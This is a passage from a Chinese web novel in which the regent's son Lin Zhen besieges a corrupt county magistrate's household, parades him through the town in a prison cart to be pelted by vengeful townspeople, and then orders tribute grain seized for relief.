“王有德,不过是个摆在台前的傀儡!一个盖印的工具!一个即将被抛弃的棋子!他的死活、他的威信,与这场拍卖何干?商贾们只会看到拍卖由沪县县令主持,盖着县衙大印!背后站着的是我林臻,是摄政王府,是朝廷的意志!这就够了!至于王有德本人?拍卖结束后,他就可以去死了!一个死人,还需要什么威信?” 林臻的语气带着一种俯瞰众生的冷漠: “至于商贾的疑虑?呵……面对息壤这足以让家族兴盛百年的神土,面对三十年垄断经营权的巨大诱惑,面对我林臻亲自坐镇的朝廷背书,那点疑虑,不过是贪婪之海中的一点泡沫!他们只会争先恐后地扑上来,生怕晚了一步,就被别人抢走了这千载难逢的机会!这就是人性!这就是商贾!” 萧寒舟彻底明白了! 师父的布局,环环相扣,冷酷而精准! 利用王有德激发民愤、收拢民心;再利用王有德作为合法幌子,引诱商贾上钩;最后在榨干其所有价值后,将其如同垃圾般抛弃! 每一步,都踩在人性最脆弱的节点上! 他深吸一口气,压下心中的震撼,躬身道:“弟子明白了!师父深谋远虑,算无遗策!弟子这就去安排囚车游街之事!定让沪县百姓,好好认识一下这位王县令!” “嗯。”林臻满意地点点头, “去吧。动静要大,场面要热闹。让百姓的情绪,彻底沸腾起来!” “是!”萧寒舟领命,转身快步离去,步伐中带着一丝被点醒后的坚定与兴奋。 目送萧寒舟离开,林臻脸上的冷厉之色稍缓。 他走到门口,对着门外侍立的橙萱唤道:“橙萱。” “殿下!”橙萱如同一只轻盈的蝴蝶,立刻出现在门口,俏生生地应道。 “你亲自带一队金吾卫,立刻去王有德的宅院!封锁所有门户!前门、后门、侧门、角门!一个不许漏!许进不许出!宅内所有人等,一律不得外出!也不许外人进入!若有强行闯关者格杀勿论!” 他顿了顿,补充道:“记住,只是封锁!暂不抓人!里面的人,让他们闹!让他们慌!但不许跑掉一个!尤其是王有德的家眷和心腹!明白吗?” 橙萱虽然不太明白林臻为何不立刻抓人,但她对林臻的命令向来执行得一丝不苟,立刻脆声应道:“是!我这就去办!” 她转身,脚步轻快却带着一股天道杀手特有的干练,迅速点齐一队精悍的金吾卫士兵,朝着王有德府邸的方向疾行而去。 ?? 第643章 后宅正房 沪县城东,王家宅院。 暮色如血,沉沉地压在这座占地十亩、雕梁画栋的深宅大院之上。 这只是王有德在沪县的其中一处房产,住着不少娇妻美妾。 朱漆大门紧闭,门前两尊张牙舞爪的石狮在渐暗的天光中投下狰狞的阴影,仿佛预兆着不祥。 高耸的院墙隔绝了外界的喧嚣,却隔绝不了宅邸内部如同瘟疫般疯狂滋长、几乎令人窒息的恐慌。 空气里原本弥漫的脂粉香和靡靡丝竹声,早已被一种混合着汗味、泪水和瓷器碎裂后粉尘的绝望气息所取代。 消息如同淬毒的利箭,在曲折的回廊、精巧的亭台、奢华的暖阁间飞速穿梭,将致命的恐惧精准地钉入每一个角落。 “不好了!老爷被世子抓了!革职查办!打入囚车了!” “县衙门口贴了告示,说老爷贪墨国帑,盘剥百姓!草菅人命!罪大恶极!” “完了!王家要倒了!” “兵!外面全是兵!黑压压的!穿着黑甲!拿着刀!把咱们府围得跟铁桶似的!一只苍蝇都飞不出去啊!” 绝望的呼喊、惊恐的尖叫、压抑的呜咽,混杂着名贵瓷器被失手摔碎的刺耳脆响,在往日充斥着欢声笑语、争宠斗艳的后宅里此起彼伏,交织成一曲末日降临的悲怆交响。 ?后宅正房·暖香阁? 这里是王有德正妻王氏的居所,往日是王家最显赫、最威严的所在。 紫檀木的家具泛着幽冷的光泽,博古架上陈列的玉器古玩在烛光下流淌着温润却冰冷的色泽,地上铺着的波斯绒毯厚实柔软,空气中名贵的沉水香依旧袅袅,却再也无法带来丝毫安宁。 此刻,这富丽堂皇的暖阁,如同冰窟般寒冷刺骨。 王氏,这位年约四旬、保养得宜、素来以端庄持重、手段凌厉著称的当家主母,此刻却失魂落魄地跌坐在那张铺着金线牡丹锦垫的紫檀木罗汉床上。 她身上那件象征正室无上权威的大红遍地金牡丹褙子,此刻皱巴巴地裹在她微微发福的身体上,鲜艳的红色衬得她脸色愈发惨白如纸,毫无血色。 精心描画的柳叶眉紧紧拧在一起,涂着鲜红蔻丹的指甲死死抠着身下昂贵的锦垫,几乎要将那金线牡丹的图案抠烂。 她那双往日精明锐利、能洞悉宅院一切风吹草动的凤眸,此刻空洞地望着前方雕花的窗棂,瞳孔深处是翻江倒海般的恐惧和难以置信的茫然。 精心梳理的发髻散落了几缕碎发,贴在汗湿的鬓角,更添几分狼狈。 “夫人!夫人!您快拿个主意啊!”一个穿着桃红撒花襦裙、容貌娇媚、身段玲珑的年轻女子扑倒在罗汉床前的地毯上,哭得梨花带雨,正是王有德最宠爱的七姨娘。 她发髻松散,几支赤金点翠的步摇歪斜地挂着,脸上精心敷就的胭脂水粉被汹涌的泪水冲花,露出底下因极度惊恐而扭曲发青的面容。 “老爷……老爷他……呜呜呜……这可怎么办啊!那个林臻,妾身可是听说他杀人不眨眼啊!我们这些内宅妇人会不会被牵连?会不会被抄家灭门啊?!呜呜呜……我不想死!我不想被卖到教坊司啊!” 她越说越怕,声音尖利得如同夜枭啼血,身体抖得如同狂风中的柳絮,纤细的手指死死抓住王氏的裙角,仿佛那是唯一的救命稻草。 “闭嘴!哭什么丧!”王氏猛地一拍床沿,厉声呵斥,试图用往日的威严压住这令人心烦意乱的哭嚎。 但她的声音明显带着一丝不易察觉的颤抖和色厉内荏的虚弱,“老爷是朝廷命官,是沪县的父母官!就算一时失察犯了点小错,那也是官场常情,哪个当官的不捞点油水?世子殿下何等尊贵的身份,岂会为了这点小事就撕破脸,下毒手?” 她试图说服别人,更像是在拼命说服自己那颗早已慌乱不堪的心。 “再说了!老爷在扬州府、在京城也不是没有门路,不是没有打点!孙此时,崔知府,刘侍郎!那可都是收过咱们王家重礼的!金佛!玉马!夜明珠!哪一样不是价值连城?!他们难道就能眼睁睁看着老爷出事?能看着王家倒台?!” “都别着急,说不定过两天,老爷就风风光光地回来了!你们都给本夫人镇定些!” 她强撑着挺直腰背,努力维持着主母的体面,但微微颤抖的手指和额角渗出的细密冷汗,却出卖了她内心的惊涛骇浪。 她的话,如同溺水者抓住的最后一根浮木,让暖阁里其他几个同样花容失色、瑟瑟发抖的妾室眼中,勉强燃起一丝微弱的、如同风中残烛般的希望。 三姨娘(一个穿着水绿杭绸衫子、气质温婉些的女子,曾是落魄秀才的女儿),怯生生地用帕子擦了擦眼角的泪,声音细若蚊蚋,带着不确定的安慰:“夫人说得是,老爷吉人自有天相,定能逢凶化吉,更何况崔知府他们也不会袖手旁观的。” 她的声音毫无底气,更像是在自我催眠。 “逢凶化吉?!”一个略带沙哑、带着浓浓讥讽和绝望的声音,如同冰锥般刺破了这虚假的平静。 众人循声望去,只见角落里站着一个穿着素净月白细布襦裙、容貌清丽却眉宇间凝着化不开愁绪的女子,正是王有德早年强纳、一直郁郁寡欢、如同笼中金丝雀的五姨娘。 她脸上没有泪痕,只有一种近乎死寂的平静和洞察世事的冰冷绝望。她冷冷地看着王氏那张强装镇定的脸,目光如同淬毒的银针:“夫人,您就别再自欺欺人了!醒醒吧!” 她声音不高,却字字如刀,狠狠戳向那摇摇欲坠的幻想,“外面围府的是谁?是摄政王府的金吾卫,是世子林臻的亲兵! 扬州府的崔知府?京城的刘侍郎?在世子殿下面前他们算什么东西?!敢放个屁吗?!世子殿下是什么人?那是连皇帝都搂被窝里睡觉的人,连当朝一品大员顾云霆都敢连根拔起的主儿!他亲自来沪县,摆明了就是要拿老爷开刀,杀鸡儆猴!抄家灭门,呵呵……” 她发出一声凄凉而尖锐的冷笑,那笑声在死寂的暖阁里显得格外刺耳,“怕是就在眼前了!我们都是砧板上的鱼肉!等着被宰割罢了!” 第644章 贱人!掌嘴! “你……你胡说八道!” 王氏如同被踩了尾巴的猫,猛地从罗汉床上弹起来,指着五姨娘,气得浑身发抖,脸上强装的镇定彻底崩裂,只剩下扭曲的愤怒和恐惧, “贱人!你敢诅咒老爷,诅咒王家?!来人,给我掌嘴!撕烂这个贱人的嘴!” “砰!”然而,她的话音刚落,暖阁厚重的锦缎门帘被猛地掀开! 刚才派出去打探消息的心腹管家王福,连滚爬带地冲了进来! 他脸色灰败如死人,头上的瓜皮小帽歪斜着,露出几缕花白的乱发,身上那件象征管家身份的绸缎袍子下摆沾满了污泥,裤裆处更是湿了一大片,散发着难闻的骚臭味! 他扑通一声重重跪倒在冰冷的地砖上,声音带着哭腔和极致的恐惧,如同濒死的哀嚎: “夫人!夫人!大事不好了!小的……小的刚才想从后花园那个最隐蔽的角门溜出去……想着……想着花重金买通守卫……可……可刚探出半个身子……就被……就被一把闪着寒光的弩箭顶住了脑门啊!” 他浑身筛糠般抖着,手指死死抠着地砖,仿佛还能感受到那金属箭簇抵在额头的冰冷和死亡气息,“那当兵的说奉世子钧令,封锁王家,擅闯者格杀勿论!夫人!小的……小的差点就回不来了啊!咱们……咱们被围死了!彻底围死了啊!一只苍蝇都飞不出去了!” 他最后几乎是嘶喊出来,声音里充满了彻底的绝望。 “轰——!” 如同最后一记重锤,狠狠砸碎了王氏心中所有的侥幸和强装的镇定! 也彻底击垮了暖阁里所有人最后一丝微弱的希望! “噗通!”王氏双腿一软,如同被抽掉了所有骨头,重重跌坐回罗汉床上,身体撞击得紫檀木发出一声沉闷的响声。 她脸色瞬间由惨白转为死灰,再由死灰转为一种濒死的青紫! 巨大的恐惧如同冰冷的潮水,瞬间淹没了她所有的感官! 她张着嘴,喉咙里发出“嗬嗬”的倒气声,如同离水的鱼,却一个字也吐不出来! 眼前阵阵发黑,金星乱冒,胸口闷得几乎要炸开! 精心维持的体面和威严,在这一刻彻底崩塌,只剩下一个被恐惧吞噬的、瑟瑟发抖的妇人。 “啊——!!” “完了!彻底完了!” “兵围府邸!这是要抄家啊!男丁砍头!女眷充作官妓!呜呜呜……” “我不想死!我不想被卖到那种地方去!” 暖阁内瞬间炸开了锅! 刚才还抱着一丝幻想的妾室们彻底崩溃! 七姨娘发出一声凄厉到不似人声的尖叫,双眼一翻,直接晕厥过去,软软地瘫倒在地毯上。 三姨娘如同被抽走了魂魄,瘫软在地,捂着脸失声痛哭,肩膀剧烈地耸动。 其他几个妾室如同无头苍蝇般在屋子里乱窜、尖叫、互相推搡! 有的疯狂地撕扯着自己的头发和衣服,有的扑到窗边徒劳地拍打着紧闭的窗棂,有的则如同鸵鸟般蜷缩在角落,抱着头瑟瑟发抖,发出压抑的呜咽。 下人们也吓得面无人色,缩在更远的角落,大气不敢出,眼神里充满了对未知命运的恐惧。 五姨娘看着眼前这如同炼狱般的混乱景象,看着王氏那副彻底崩溃、失魂落魄的丑态,嘴角勾起一抹冰冷的、带着无尽悲凉和一丝解脱的弧度。 她缓缓走到雕花木窗前,伸手推开一扇。 暮色沉沉,带着咸腥水汽的冷风灌入,吹动她素白的衣袂。 院墙外,暮色中隐约可见黑甲士兵如同沉默铁塔般矗立的轮廓,冰冷的杀气隔着高墙都能感受到,如同无形的绞索,紧紧勒住了这座奢华的牢笼。 她闭上眼,两行清泪无声滑落,滴在冰冷的窗台上。 这金丝牢笼……这吃人的富贵……终究是要塌了。 也好……也好…… 绝望的哭嚎、无助的尖叫、瓷器摔碎的刺耳声响、家具被撞倒的闷响,在这座曾经象征着富贵与权势的深宅大院里疯狂回荡、碰撞、发酵。 昔日的繁华与奢靡,在冰冷的兵戈与绝对权力的碾压下,脆弱得如同阳光下的泡沫,一触即破。 ??...... 县衙后院深处,一间临时被充作囚室的柴房。 阴暗,潮湿,空气中弥漫着浓重的霉味、干草腐朽的气息,以及一丝若有若无、令人作呕的血腥气。 墙壁上挂着一盏昏黄的油灯,豆大的火苗在穿堂风中摇曳不定,将屋内物体的影子拉扯得如同鬼魅般扭曲晃动,勉强照亮角落堆积如山的柴禾和散乱的干草。 王有德如同一滩烂泥,蜷缩在一堆散发着霉味和尿骚气的干草上。 他身上的囚服肮脏破烂,沾满了尘土和干涸的血迹。 脸上青紫交加,额角那道被毛梦极亲兵“不小心”撞在门框上留下的伤口已经结了一层暗红色的痂,如同一条丑陋的蜈蚣趴在那里。 肥硕的身体因为寒冷和深入骨髓的恐惧而无法控制地微微颤抖。 他眼神空洞地望着墙角一只正在缓慢结网的蜘蛛,那蜘蛛不厌其烦地吐丝、编织,仿佛在编织一张无形的、注定无法逃脱的死亡之网。 他仿佛看到了自己命运的缩影。 从高高在上、呼风唤雨的七品县令,到阶下囚。 巨大的落差和极致的恐惧,如同冰冷的毒蛇,噬咬着他的五脏六腑,几乎将他彻底吞噬。 柴房那扇破旧的木门发出“吱呀——”一声令人牙酸的呻吟,被缓缓推开。 昏黄摇曳的光线下,一个身着靛青儒衫、身姿挺拔如修竹的年轻身影走了进来,正是萧寒舟。 他身后跟着两名面无表情、按刀而立的金吾卫士兵,如同两尊门神,将门口的光线都遮挡了大半,带来更沉重的压迫感。 王有德如同受惊的野兽般猛地一哆嗦,惊恐万状地看向门口刺眼的光线。 当他看清来人是萧寒舟时,眼中先是闪过一丝茫然的空洞,随即爆发出强烈的求生欲! 他连滚爬带地扑到萧寒舟脚边,双手死死抓住萧寒舟那干净的袍角,涕泪横流,声音嘶哑而绝望地哀求: “萧……萧公子!萧大人!您是世子殿下的高徒,是文曲星下凡!求求您,求求您发发慈悲,替罪囚……替罪囚在世子面前美言几句啊!罪囚……罪囚冤枉啊!” “天大的冤枉!那些都是诬告,是有人嫉妒下官,是有人陷害下官啊!世子殿下明察秋毫,慧眼如炬,定能还下官清白!求您救救我!救救王家啊!王家愿意献出所有家产!只求世子殿下开恩!饶了罪囚这条狗命吧!” 他额头重重磕在冰冷坚硬、布满灰尘的地面上,发出“砰砰”的闷响,每一次磕头都带着濒死的绝望。 萧寒舟看着脚下这个曾经不可一世、在沪县只手遮天、如今却卑微如尘土的肥胖男人,看着他囚服上刺眼的污渍,闻着他身上散发出的馊臭味,眼中闪过一丝不易察觉的厌恶和一丝复杂的怜悯。 他微微蹙起清俊的眉头,后退一步,动作优雅却带着不容侵犯的疏离,不动声色地拂开王有德那沾满污垢的手,声音平静无波,如同深潭古井,带着一种居高临下的冷漠: “王有德,世子殿下钧令已下。今日午时,囚车游街,示众全城。” “游……游街示众?!” 第645章 游行示众 王有德如同被一道九天惊雷狠狠劈中! 浑身剧震! 脸上瞬间血色尽褪,只剩下死灰般的绝望和难以置信的屈辱! 他猛地抬起头,布满血丝的眼睛瞪得如同铜铃,充满了极致的恐惧和羞愤,声音因为激动而变得尖利扭曲:“不!不!不能啊,萧公子!士可杀不可辱!我好歹曾是朝廷命官,是七品县令!是读过圣贤书的人!怎么能……怎么能像牲口一样被拉去游街?!” “这……这让我以后……让我王家列祖列宗……还怎么见人啊?!世子殿下……世子殿下不能这样对我啊!求求您!求求您再去说说!我宁愿死!宁愿现在就一头撞死在这墙上!也不要受此奇耻大辱啊!!” 他涕泪横流,额头因为刚才的磕头已经渗出血丝,混合着灰尘,显得更加狼狈不堪。 他挣扎着想要再次扑上去抱住萧寒舟的腿,却被身后的士兵死死按住。 萧寒舟静静地俯视着他,眼神深邃如夜空,没有丝毫波澜。 等王有德的哭嚎和挣扎稍稍平息,只剩下绝望的喘息时,他才缓缓开口,声音依旧平静,却带着一种洞悉世事的冰冷和残酷的清醒: “王有德,你还不明白吗?你的以后?你王家的列祖列宗?呵,在你贪墨第一两赈灾银子,在你为了三亩水田逼死郑寡妇母子的时候,就已经烟消云散了。” 他微微俯身,目光如同两把淬了寒冰的利剑,直直刺入王有德惊恐涣散的眼底: “世子殿下要的,不是你一个人的命。他要的,是沪县千万百姓积压了十几年的怨气!是你盘剥搜刮欠下的累累血债!游街示众,不是对你的羞辱,而是给那些被你踩在泥里的百姓一个宣泄的出口!让他们亲眼看着,曾经骑在他们头上作威作福、视他们如草芥的父母官,是如何变成一条人人喊打、连狗都不如的落水狗!让他们亲手,将积压的仇恨、屈辱、血泪,砸在你身上!吐在你脸上!” 萧寒舟的声音带着一丝不易察觉的寒意,如同腊月的风: “唯有如此,百姓心中那口憋了十几年的恶气才能出!唯有如此,他们才会相信世子殿下是真正为民做主的青天!才会死心塌地、心甘情愿地追随世子,去建设那个你从未给过他们希望的新沪县!” “懂了吗?你的命,你的尊严,在世子殿下的大局面前,在沪县万千黎民的怨气面前,一文不值!” 王有德呆呆地听着,如同泥塑木雕,连颤抖都忘记了。 萧寒舟的话,如同冰冷的解剖刀,将他最后一丝幻想、最后一点侥幸、最后一丝作为“人”的尊严,彻底剖开,露出血淋淋、肮脏不堪的真相。 他不是人,他只是一个工具! 一个用来收买人心、点燃民愤的祭品! 什么朝廷命官? 什么七品县令? 什么圣贤书? 在世子殿下那翻云覆雨、执掌乾坤的手段面前,他连一条摇尾乞怜的狗都不如! 巨大的绝望如同西伯利亚的寒流,瞬间将他从里到外冻僵! 他眼中的恐惧、屈辱、不甘、愤怒……最终都化为一片死寂的灰败和彻底的麻木。 他停止了哭嚎,停止了挣扎,停止了磕头,只是如同被抽走了所有骨头和灵魂的一滩烂泥,瘫软在冰冷肮脏的地面上。 他抬起头,脸上沾满了泪痕、鼻涕、灰尘和额头的血污,眼神空洞地望着萧寒舟,如同望着一个陌生人,声音嘶哑而微弱,带着一种认命的、行尸走肉般的麻木: “我……明白了……明白了……呵呵……呵呵呵……”他发出一阵如同夜枭啼血般凄凉、空洞的惨笑,笑声在阴暗的柴房里回荡,令人毛骨悚然, “好……好一个世子殿下……好一个收买人心……我王有德认了……认命了……游街就游街吧,只求世子殿下看在我认罪伏法、甘为柴薪的份上,给我王家留条活路,哪怕为奴为婢……” 最后几个字,几乎低不可闻,充满了卑微到尘埃里的乞求。 萧寒舟看着他这副彻底崩溃、如同行尸走肉般的模样,心中并无多少快意,反而升起一丝难以言喻的复杂情绪。 他沉默片刻,最终只是淡淡地说了一句,声音里听不出喜怒:“早知今日,何必当初。准备一下吧,时辰快到了。” 说罢,他不再看王有德一眼,仿佛多看一眼都会污了眼睛,转身对身后的士兵示意:“给他换身干净囚服,胸前挂好牌子,准备囚车。” 两名士兵面无表情地上前,如同拖拽一头待宰的肥猪,粗暴地将瘫软如泥的王有德架了起来。 王有德没有任何反抗,如同失去了所有知觉的木偶,任由士兵摆布,眼神空洞地望着柴房那低矮、布满蛛网的屋顶,仿佛他的灵魂已经提前一步,坠入了无间地狱。 ??...... 翌日清晨,天光微亮,薄雾尚未完全散尽。 沪县这座饱经沧桑、伤痕累累的小城,却比往日任何一个清晨都更早地苏醒了。 一种压抑不住的、带着狂热气息的躁动,如同地底奔涌的岩浆,在破败的街巷间弥漫、沸腾。空气中仿佛弥漫着硫磺的味道。 县衙那扇沉重的朱漆大门,在无数道或期待、或仇恨、或好奇的目光注视下,缓缓开启,发出沉闷的“嘎吱”声。 一辆由粗大原木钉成的、如同野兽囚笼般的囚车,在数十名金吾卫士兵的严密押解下,如同从地狱驶出的刑具,缓缓驶出! 车轮碾压着坑洼的石板路,发出“哐啷!哐啷!”刺耳而单调的声响,如同丧钟敲响,宣告着审判的开始! 囚车中央的木笼里,王有德如同待宰的牲口,被粗大的麻绳死死捆缚在一根竖立的、碗口粗的木桩上! 绳索深深勒进他肥胖的皮肉里。 他被迫挺直了那早已被酒色掏空的身躯,无法蜷缩,无法躲避,将最狼狈的姿态暴露在光天化日之下! 他穿着一身特意准备的、洗得发白却依旧刺眼的赭色粗布囚服! 布料粗糙,磨蹭着他养尊处优的皮肤,带来阵阵刺痛和屈辱。 胸前挂着一块巨大的、刷着劣质白漆的木牌! 上面用浓墨淋漓、触目惊心地写着两个斗大的字——贪官! 下方还有一行稍小的字,如同判决书:“盘剥百姓,罪大恶极!” 他的头发被粗暴地剃掉了一半,露出青白渗人的头皮,如同受刑的囚徒。 脸上刻意没有清洗,还残留着昨日的污秽、泪痕和干涸的血迹,额角那道暗红的痂在晨光下如同耻辱的烙印。 整个人狼狈不堪,散发着令人作呕的衰败气息,如同从腐烂泥潭里捞出来的癞皮狗! 押车的金吾卫士兵,清一色玄黑明光铠,甲叶在晨光中折射出森冷的寒芒,腰悬狭锋横刀,背负连发劲弩,眼神锐利如鹰隼,步伐整齐划一,如同移动的钢铁城墙! 肃杀凛冽之气弥漫开来,让空气都为之凝滞! 为首的军官骑在一匹高大的黑马上,正是毛梦极麾下悍将,在清河守城战中立下大功的赵铁鹰! 他面容冷硬如铁,目光如电,扫视着街道两旁如同潮水般汇聚而来的人群。 “哐啷!哐啷!” 沉重的木轮碾压着石板路,单调而刺耳的声响,如同死亡的鼓点,敲打在每个人的心上。 起初,街道两旁的百姓只是远远地、沉默地看着。 如同冬日里蛰伏的兽群,警惕而麻木。 但当囚车驶近,当那张曾经让他们恨之入骨、无数次在噩梦中出现、如今却狼狈如鬼的脸清晰地映入眼帘时,当那“贪官”二字如同烧红的烙铁般狠狠烫入他们瞳孔时,人群开始骚动! 死寂的冰面开始龟裂! 第646章 王扒皮 “是……是王扒皮!” “真的是他!那个天杀的狗官!” “贪官!胸前挂着牌子呢!贪官!” “他也有今天!老天爷开眼啊!” 窃窃私语声如同滚油滴入冷水,瞬间沸腾起来! 麻木的眼神被点燃! 积压的仇恨如同沉睡的火山,岩浆开始奔涌! “砰!” 一块拳头大小、带着湿冷泥土的土坷垃,带着风声,如同复仇的投石,狠狠砸在囚车厚重的木栅栏上! 碎土四溅! “打死他!打死这个狗官!” 一个头发花白、衣衫褴褛、拄着拐杖的老汉,赤红着双眼,用尽全身力气嘶声力竭地吼道! 他正是被王有德勾结胥吏、强占了仅有三亩薄田、逼得相依为命的老伴悬梁自尽的郑老汉! 十几年积压的仇恨,在这一刻化作雷霆怒吼! 这一下,如同点燃了燎原的星火!彻底引爆了压抑已久的愤怒火山! “砸死他!” “王扒皮!还我爹的命来!” “狗官!喝人血的畜生!你逼死我儿子的时候可想过今天?!” 愤怒的吼声如同压抑了千年的海啸般轰然爆发! 烂菜叶、早已腐烂发臭的鸡蛋、腥臭的污泥、坚硬的石块……如同疾风暴雨般从街道两侧疯狂地、毫无怜悯地砸向囚车! 砸向那个被钉在耻辱柱上的肥胖身躯! 每一件投掷物,都承载着血泪和仇恨! “噗!”一个早已腐烂发黑、散发着恶臭的鸡蛋,精准地命中了王有德的左脸! 腥臭黏稠的蛋液糊了他一脸,钻进他的鼻孔、糊住他的眼睛! 恶臭熏得他胃里翻江倒海,几乎窒息! “啊——!”他发出一声凄厉不似人声的惨叫! 本能地想抬手去擦,却被绳索死死捆住,动弹不得! 只能徒劳地、疯狂地扭动着脖子,试图甩掉那令人作呕的秽物! 肥腻的脸颊肌肉扭曲抽搐,写满了极致的痛苦和屈辱! “砰!”一块棱角分明、拳头大小的坚硬石头,带着呼啸的风声,狠狠砸在他肥胖的肚子上! 剧痛让他猛地弓起身子,如同被煮熟的虾米! 五脏六腑仿佛都移了位! 一口酸水混合着胆汁涌上喉咙! “呕……”他痛苦地干呕起来,眼泪鼻涕混合着恶臭的蛋液糊了满脸,顺着肥厚的下巴滴落在肮脏的囚服上! “啪!”一团湿冷腥臭、不知从哪个阴沟里挖出的污泥,带着巨大的力道,狠狠糊在他光秃秃的后脑勺上! 冰冷刺骨!腥臭扑鼻! “王扒皮!你逼死我儿子!我跟你拼了!”一个披头散发、状若疯癫的妇人,双眼赤红如同滴血,尖叫着如同母豹般扑到囚车前,伸出枯瘦如柴、青筋暴起的手指,隔着木栅栏的缝隙,狠狠抓向王有德的脸! 在他肥腻的脸上留下了几道深深的血痕!随即被如狼似虎的士兵粗暴地拉开,但她眼中的仇恨如同实质的火焰,熊熊燃烧,几乎要将王有德焚烧殆尽! 她的哭喊撕心裂肺:“儿啊!我的儿啊!娘给你报仇了!娘给你报仇了啊!” 王有德在囚车里发出杀猪般的、绝望到极致的嚎叫和求饶:“饶命啊!乡亲们饶命啊!我错了!我该死!饶了我吧!世子殿下!世子殿下救命啊!!” 他的声音嘶哑破裂,充满了非人的痛苦和无法形容的屈辱! 每一块砸来的石头带来的钝痛,每一团糊来的污泥带来的冰冷和恶臭,每一口吐来的、带着浓痰的唾沫带来的羞辱,每一声充满刻骨仇恨的咒骂带来的灵魂震颤,都如同烧红的烙铁,狠狠烫在他的神经上! 身体的疼痛尚可忍受,但那被万人唾弃、如同过街老鼠般的耻辱感,那被剥光了所有尊严、暴露在光天化日之下任人践踏的绝望感,几乎要将他彻底逼疯! 他后悔了! 肠子都悔青了! 他恨不得立刻咬舌自尽! 如果……如果当初不那么贪婪无度……如果……如果对治下的百姓有一丝怜悯……是不是……就不会有今天?! 但这世上,没有如果! 只有冰冷的现实和无尽的痛苦深渊! 街道两旁,人越聚越多! 如同滚雪球般,从开始的几十人,到几百人,再到上千人! 整条原本还算宽阔的十字大街被愤怒的人群堵得水泄不通! 哭喊声、咒骂声、欢呼声、投掷杂物破空声、士兵维持秩序的呵斥声……汇成一股震耳欲聋、直冲云霄的狂暴洪流! 长久以来被压抑的屈辱、仇恨、绝望,在这一刻,如同决堤的洪水,找到了最直接、最原始、最疯狂的宣泄口! 他们用最粗暴的方式,向这个曾经骑在他们头上作威作福、视他们如草芥的“父母官”,倾泻着积压了十几年的血泪和滔天怒火! 整个沪县县城,在这一刻,变成了一个巨大的、愤怒的审判场! 就在这时,骑在马上的赵铁鹰猛地勒住缰绳! 他深吸一口气,胸膛高高鼓起,运足丹田之气,用他那如同金铁摩擦、又似虎豹咆哮般的嘶哑嗓音,对着沸腾如岩浆的人群,发出了石破天惊、足以盖过一切喧嚣的吼声: “沪县的父老乡亲们!看清楚了吗?!这就是贪官污吏的下场!” “是谁!替你们抓了这喝人血的王扒皮?!是谁!替你们申了这血海深冤?!” “是摄政王世子,林臻!” “世子殿下心系黎民!嫉恶如仇!不畏权贵!亲自坐镇沪县!就是要为你们!讨回一个公道!还你们一个朗朗乾坤!” “世子殿下说了!贪官污吏!有一个抓一个!绝不姑息!还沪县一个青天白日!” “从今往后!沪县,是你们的沪县!是世子殿下为你们做主的沪县!是充满希望的沪县!” “世子殿下万岁!!” 赵铁鹰的声音如同洪钟大吕,带着金吾卫百战余生的铁血煞气和不容置疑的威严,瞬间压过了鼎沸的人声! 清晰地、如同战鼓般传入每一个人的耳中!震得人耳膜嗡嗡作响! 人群瞬间安静了一瞬! 如同暴风雨前的宁静! 随即! 如同被点燃的火药桶!更加狂热、更加发自肺腑、如同信仰诞生般的呐喊,如同山崩海啸般彻底爆发出来! “世子殿下万岁!!” “世子殿下青天!!” “青天大老爷!!” “世子殿下万岁万岁万万岁!!” 无数百姓激动得热泪盈眶! 他们挥舞着手臂,用尽全身力气声嘶力竭地呼喊着! 看向囚车的眼神充满了复仇的快意和宣泄后的释然! 而看向县衙的方向,看向那些肃立如山、带来秩序与公道的玄甲士兵时,眼中则充满了前所未有的、如同信徒皈依般的狂热崇拜和发自灵魂深处的感激! 长久以来积压的屈辱、愤怒和绝望,在这一刻,化作了对林臻无限的敬畏、感恩和誓死追随的忠诚! 世子林臻,在他们心中,已不再是权贵,而是降临凡尘、替他们斩妖除魔的救世神明! “世子殿下万岁!!” “青天大老爷!!” 欢呼声一浪高过一浪! 如同海啸般席卷全城! 响彻云霄! 整个沪县县城,在这一刻,彻底沸腾! 民心所向,如同百川归海,尽数汇聚于林臻一身! 信仰的种子,在这一场愤怒的狂欢与神圣的宣告中,深深扎根! 而囚车中那个如同烂泥般瘫软、在唾骂和投掷中痛苦哀嚎、灵魂早已被碾碎的王有德,则彻底沦为了这场民心盛宴与信仰诞生中,最微不足道、也最讽刺的祭品! 他存在的唯一价值,就是点燃了这把火,并最终化为了灰烬,滋养了林臻在沪县无上的权威! 第647章 去县城!喝粥去! “世子殿下万岁!” “青天大老爷!” 沪县县衙内堂,门窗紧闭,却隔绝不了外面山呼海啸般的声浪。 那一声声饱含着狂热、感激与新生希望的话语如同汹涌的潮水,穿透厚重的砖墙,一波又一波地冲击着室内的空气,震得窗棂都在微微颤动。 林臻端坐在主位的紫檀木圈椅上,背脊挺直如松。 虽是夏天,他却不觉得热,还是浣碧进了门打开窗户,说:“夫君,开窗透透气吧,天下总是闷着也不好。” 林臻没有抬头,他面前摊开着一幅刚刚由楚惜灵初步勾勒的沪县港口及新城规划草图,墨迹尚未干透。 他并未执笔,只是指尖无意识地在那粗糙的纸面上缓缓划过,仿佛在丈量着这片即将被他彻底重塑的土地。 窗外震耳欲聋的欢呼声浪,如同最激昂的战鼓,敲打在他的耳膜上,也敲打在他掌控全局的心弦上。 他那张素来沉静如水的脸上,此刻唇角微微上扬,勾勒出一抹极其细微、却饱含深意的弧度。 那不是志得意满的张扬,而是一种棋局落定、大势已成、一切尽在掌握的从容与笃定。 王有德的游街,如同一把精准的手术刀,彻底剜去了沪县肌体上那颗名为贪腐的毒瘤,更将积压了十几年的民怨彻底引流宣泄! 而此刻这沸腾的民心,便是伤口开始愈合、新肌开始滋长的最佳证明! 这汹涌的民意,正是他接下来推动沪县特区建设最强大的动力和最坚实的基石! “寒舟。”林臻的声音不高,却清晰地穿透了窗外的喧嚣,带着不容置疑的命令。 侍立在门边、同样被窗外声浪震撼得心潮澎湃的萧寒舟立刻上前一步,躬身应道:“弟子在!” 林臻的目光依旧落在图纸上,手指却点了点长江入海口的位置:“游行结束后,立刻在城中东西南北四门,各设一座大型粥棚。” 他顿了顿,语气平淡却带着翻云覆雨的力量: “撬开王有德家的粮仓,用里面的米给百姓施粥,先撑过几天,等今年南楚的岁贡过来后,全部截留!就地启用!用于沪县赈济与建设!” “截留岁贡?!”萧寒舟猛地抬头,眼中闪过一丝震惊! 岁贡乃国之重赋,直入国库,非圣旨不得擅动! 他下意识地脱口而出:“师父!这……这恐怕不妥,是否需要先行上奏,请示陛下……” “不必。”林臻终于抬起头,目光平静地看向萧寒舟, 